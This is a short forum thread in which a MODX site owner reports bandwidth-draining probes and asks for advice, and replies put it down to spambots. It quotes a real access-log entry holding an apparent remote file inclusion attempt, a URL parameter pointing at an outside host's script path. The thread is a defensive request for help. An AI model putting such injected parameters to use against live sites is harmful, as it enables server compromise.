Is someone attempting to hack into my MODX install?

Hey folks I am needing some help figuring out what I am seeing... I believe that someone is probing my install of Modx for vunerabilities but in the process they are eating up all my bandwidth.

Here are the AWSTATS
Unique visitors 23
Number of visits 23
Pages 22889
Hits 23059
Bandwidth 396.52MB

Here is an example of what I am seeing in the logs...

213.139.7.89 - - [03/Feb/2008:20:16:41 -0600] "GET /index.php?id=50&reflect_463_month=http%3A%2F%2Fwww.pattibus.it%2Fphplib-7.2b%2Fpages%2Filosi%2Fdohigal%2F&reflect_463_year=2007&reflect_463_day=false&reflect_463_start=0&start=2&start=2&reflect_543_month=7&reflect_543_year=2007&reflect_543_day=false&reflect_543_start=0&reflect_779_month=7&reflect_779_year=2007&reflect_779_day=false&reflect_779_start=0 HTTP/1.0" 200 14382 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"

Any idea what I need to do besides start banning individual IP addresses?

Thanks,

Andy

Does anyone have any thoughts on the subject? I have banned the IP addresses which were responsible for a majority of the activity but would really like to know if it indicates a potential issue in how I have stuff setup or just hacker being hackers...

I believe it’s just the handywork of some common spambots. However without knowledge of what was being executed on document with id 50 it’s hard for me to say anymore.

Thanks guys for the comments...

I have blocked them and will add to the list as appropriate.